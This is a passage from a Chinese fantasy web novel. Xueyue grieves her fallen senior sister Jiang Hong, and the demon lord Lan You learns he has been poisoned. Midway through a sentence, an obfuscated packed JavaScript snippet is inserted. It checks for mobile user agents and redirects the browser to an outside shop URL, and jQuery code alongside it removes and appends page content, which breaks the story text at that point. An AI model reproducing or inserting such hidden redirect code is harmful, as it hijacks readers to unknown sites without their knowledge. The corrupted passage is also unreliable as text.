以前,雪月总见姜泓师姐醉得不省人事,偶尔嘟囔着想家。
她那时还不懂,如今知晓了她的身世,雪月才恍然明白,这其中蕴藏着何等沉重的乡愁。
“姜泓师妹作为南疆圣女,多年来被禁止踏入故土,就连与亲人传信,也会被当地信使扣下。尽管如此,在听闻南疆大乱之时,她仍义无反顾地选择前往。当时我与王若师弟仍在加固结界,未能陪伴左右。而姜泓师妹在战乱中,为保下几名陪同弟子,英勇牺牲于故土。”
剑谦长叹口气,对着姜泓的牌位左右打量,迟迟不肯放下。
雪月心中五味杂陈:“姜泓师姐战死故土,实乃英雄人物,吾辈楷模。”
“是。”剑谦点头,又皱了皱眉,“只是,那几名回来的弟子,还说了另一件事。”
“什么事?”雪月追问道。
“姜泓师妹的父母,还有妹妹,早在她离开南疆后,便被藩王屠杀。”
雪月瞪大双眼,不可置信地听他继续说道:“藩王为保事情万无一失,圣女的秘密不被旁人知晓,便决定斩草除根。姜泓师妹一回南疆,便寻亲而未果。几番探查,才知晓了亲人的死讯。她虽悲愤,却仍旧愿意为南疆而战,可歌可泣。”
阴风骤起,祠堂的白幔被刮得沙沙作响,香案的青烟缓缓游荡在牌位旁。雪月心中刺痛,她过了好久才缓上神来,道:“真是人心难测,藩王实在愧为人主。可怜姜泓师姐一腔正气,却为这种人白白丢了性命!”
剑谦肃然道:“她并非是为了藩王而死,她为的是南疆的百姓,和那个她日夜思念的故乡。她虽然不是真正的圣女,却也对得起这个称号。”
雪月点头:“是我狭隘了。”
牌位被置于远处,剑谦收好帕巾,倏忽转身面对着雪月,沉声问道:“雪月师妹,若是你,你会怎么选?”
这突如其来的问题,让雪月迷惘:“我……我不知道。”
剑谦弯了弯唇:“其实,我也不知道。”
“我总在想,我这个剑雪宗大师兄,到底做的称不称职?于道法而言,我违背道义,修为反退不进;于责任而言,我没能护住同门,愧为人长。”
风停了,祠堂恢复肃静。
雪月安慰他:“剑谦师兄,你莫要这样想。你已经尽力了,只是世事难为罢了。”
剑谦深深地看了眼她,眼底翻涌着她看不懂的情绪,雪月头一次觉得这个师兄如此陌生。他拂了拂袖:“雪月师妹,早点回去歇息吧,明日还有许多事要做。”
雪月应着,两人一前一后走出祠堂。
傍晚,雪月按律,去凌玄长老那报平安。
凌玄长老见她一身康健,气血充足,才松了口气,随后问道:“你是如何从魔界逃出来的?”
雪月自知应付文锦那套说辞,无法令长老信服,故而只能将事情半遮半掩说了出来。
长老认真听罢:“魔尊对你有情,饶了你一条性命。不过,你作为正道修士,可莫要被他影响,误入歧途。你与他,终究仙魔殊途,早点断了也是好事。如今,你回到了剑雪宗,也当好好修行。过去的事,便将它忘了吧。”
“弟子明白了。”雪月道。
凌玄长老扫了她一眼,确定她面无半点留恋,才缓缓开口:“你总是叫我放心。剑谦那小子,若是有半分像你就好了。”
雪月沉默,没有应答。
是夜里,她又被噩梦惊醒。幸好这一次,是在宗门熟悉的床榻上,并非魔宫阴寒之地。
月光微冷,她往脸上捏了一把,幸好一切都是真实的,她真的回到了剑雪宗。她睡不着,躺在床上神游,过去几个月的事情,如同走马灯在眼前一晃而过。
她的睫毛颤了颤,纵使季夏,三更漏夜也显得寒凉。
蓝幽的眉眼恰于此时涌上脑海之中,他眼神冷得那样锋利,人又那样寂寞。明明是欺骗、利用、囚禁自己的凶手,雪月的心却不清白,那股熟悉的怜惜又压过仇恨,让她再次生出爱意。
她皱了皱眉,想将他的脸踢出脑海,于是开始想白日里剑谦的话。
若是当时她没有被抓去魔界,是否就能赶上南疆之行,保下姜泓了?姜泓莫不是在魔界的地牢里待了太久,伤了身体,才会在此战中力不从心?
若是她再早一点回来就好了。
想到这里,她又觉得烦闷,都怪蓝幽,若不是他,哪里来这么多糟心事!
隔日,弟子传信,夏季审核的魁首已经出现,诚邀雪月前去与之切磋。雪月才回来一日,又赶上敬爱的师姐逝世,哪里有心情,便推拒了。
她拜访了几位长老,又面见了余下的师兄,简单寒暄了几句,便恢复了平日里的修行。
在魔界的几个月,她鲜少拿剑,更别说修炼。当指尖触摸到冰凉的剑身的那一刻,她脑海里尽是与戾狐打架的场景。过去的事情如此藕断丝连,叫她想忘也忘不掉。
她拂一拂袖,旋身耍了个漂亮的剑花。
幸好,还没生疏。
几个时辰的练剑,总算教她心无旁骛。事后,她拿帕巾擦了擦身上的汗水,路过演武场,便进去瞧了一番。
剑谦正与内门新晋魁首切磋,他出剑稳当,举止从容,边出招边指出那名弟子用剑时的弊病。
雪月盯着他看,从他脸上看不出半点忧愁之色,好像昨日的那个多情男子不是他。她靠在看台上,酸涩涌上鼻尖。
作为大师兄,剑谦哪怕再伤心也得做好自己的本分,不叫人看出异样。
雪月想说,其实他这个大师兄做的特别好。若是没遇上这些事情,他仍会是那个万众瞩目的天之骄子。
然,造化弄人,谁也逃不掉。
*
蓝幽是在她走后的第五日发现异常的。
那时,他正在批阅奏折,一阵绞痛骤然袭上全身,令他动弹不得。
这几日来,总有无名的痛感折磨着他。他身上原本就有许多旧伤,每逢特定季节便会反复发作,他早已习惯,并未当回事。
只是,这次的不一样。
太痛了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740910|203464||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,如快刀斩细肉,将五脏六腑切割成条,痛得他近乎要晕过去。
事实上,他真的晕了过去。
等他醒来,第一件事便是观察四周。见到宫殿空无一人,他才勉强松了口气。
他才即位不久,暗处已有无数双眼睛窥视,就等他主动露出弱点。这个节骨眼上,他竟然毫无防备地昏倒了几个时辰,这太危险了。
蓝幽低首,两指在脉搏间反复探查。经脉平稳,气血充足,并无半点不妥。
他想了想,或许是雪月离开,他过于思念的缘故,便没有再多想。
次日晨时,熟悉的痛感二度传来。有了前车之鉴,他即刻挥出结界护体,才敢让自己晕过去。
这次他没有犹豫,一醒来,便立刻召见了边北野乔装入宫。
日头正晒,边北野脱下帷帽,露出被汗浸湿的一绺一绺头发,抱怨道:“外边太阳热死人了,你还非要我打扮成这副鬼模样。”
蓝幽道:“我即位不久,召你入宫之事,万万不能让他人知晓。因此,只能委屈了你。”
边北野给自己倒了杯茶,翘着个二郎腿:“行吧。这次又是什么事?”
蓝幽将这几日的事情告诉了他。
边北野听着,为他把起脉来:“你这脉象平稳,倒不像是有什么事。莫非,你是因那姑娘离去,害了相思病?”
蓝幽没搭理他。
“这也没事呀。”边北野收回手,起身拍了拍衣袖,“我看你是自己吓自己。”
蓝幽想了想,道:“除却诊脉,你还有其他法子吗?”
边北野思索片刻,从包袱中翻出一个布盒:“有是有,不过会有些痛。”
蓝幽循着他的指示,脱下衣物躺在榻上,任他将数根银针深深刺入经脉。一百多根针扎完,蓝幽仰面躺着,活像个刺猬。
边北野坐在一旁,悠闲地喝着茶。
约莫过了一刻钟,边北野才缓缓起身,开始收针。拔到胸口那几处穴位,那几根银针尾部已经黑透,还泛着点青紫色。
边北野收起笑颜,脸色严肃:“你这是中毒了。”
他说罢,将余下的针尽数收入布盒。
蓝幽边穿衣服边问:“什么毒?”
“我一时半会儿还看不出来。”他不再是先前那副玩闹模样,眉眼间真有了几分高明医者的样子。
蓝幽纤长的手指在衣带处熟稔地绑了个结:“这世间竟有你看不出来的毒?”
“多了去了。”边北野从包袱中取出一颗青色的珠子,扔给蓝幽,“握半个时辰。”
蓝幽没有多问,冰凉的珠子在接触他掌心的那一刻起,千丝万缕的灵气顷刻间涌入体内,与他的血肉发生碰撞。
不痛,但是这感觉实在奇怪。
半个时辰后,珠子已经变成深褐色,周身还散发着青黑的诡异光芒,就连气味都如同臭水沟中腐烂已久的野兽尸体。
边北野将珠子捏在眼前,对着光反复观望,最后才得出结论:
“这是……蚀骨散。”